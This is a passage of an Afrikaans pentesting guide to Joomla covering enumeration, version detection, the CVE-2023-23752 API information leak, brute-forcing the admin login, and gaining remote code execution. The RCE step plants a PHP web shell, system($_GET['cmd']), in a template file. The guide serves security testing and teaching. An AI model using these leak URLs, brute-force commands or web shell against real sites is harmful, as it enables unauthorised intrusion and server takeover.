### Joomla Statistieke

Joomla verskaf 'n paar anonieme [gebruik statistieke](https://developer.joomla.org/about/stats.html) soos die verdeling van Joomla, PHP en databasis weergawes en bediener bedryfstelsels wat op Joomla installasies gebruik word. Hierdie data kan deur middel van hul openbare [API](https://developer.joomla.org/about/stats/api.html) opgevraag word.
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
```
## Enumeration

### Discovery/Footprinting

* Kontroleer die **meta**
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
```
* robots.txt
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
* README.txt
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Weergawe

* In **/administrator/manifests/files/joomla.xml** kan jy die weergawe sien.
* In **/language/en-GB/en-GB.xml** kan jy die weergawe van Joomla kry.
* In **plugins/system/cache/cache.xml** kan jy 'n benaderde weergawe sien.

### Outomaties
```bash
droopescan scan joomla --url http://joomla-site.local/
```
In[ **80,443 - Pentesting Web Metodologie is 'n afdeling oor CMS skanners**](./#cms-scanners) wat Joomla kan skandeer.


### API Ongeauthentiseerde Inligtingsontsluiting:
Weergawes Van 4.0.0 tot 4.2.7 is kwesbaar vir ongeauthentiseerde inligtingsontsluiting (CVE-2023-23752) wat kredensiale en ander inligting sal dump.

* Gebruikers: `http://<host>/api/v1/users?public=true`

* Konfigurasie Lêer: `http://<host>/api/index.php/v1/config/application?public=true`

**MSF Module**: `scanner/http/joomla_api_improper_access_checks` of ruby skrip: [51334](https://www.exploit-db.com/exploits/51334)

### Brute-Force

Jy kan hierdie [skrip](https://github.com/ajnik/joomla-bruteforce) gebruik om te probeer om die aanmelding te brute force.
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin
```
## RCE

As jy daarin slaag om **admin akrediteer** te verkry, kan jy **RCE binne dit** kry deur 'n stuk **PHP kode** by te voeg om **RCE** te verkry. Ons kan dit doen deur 'n **sjabloon** te **pas**.

1. **Klik** op **`Templates`** onderaan links onder `Configuration` om die sjabloonmenu op te roep.
2. **Klik** op 'n **sjabloon** naam. Kom ons kies **`protostar`** onder die `Template` kolomkop. Dit sal ons na die **`Templates: Customise`** bladsy bring.
3. Laastens kan jy op 'n bladsy klik om die **bladsybron** op te roep. Kom ons kies die **`error.php`** bladsy. Ons sal 'n **PHP een-liner byvoeg om kode-uitvoering te verkry** soos volg:
1. **`system($_GET['cmd']);`**
4. **Stoor & Sluit**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
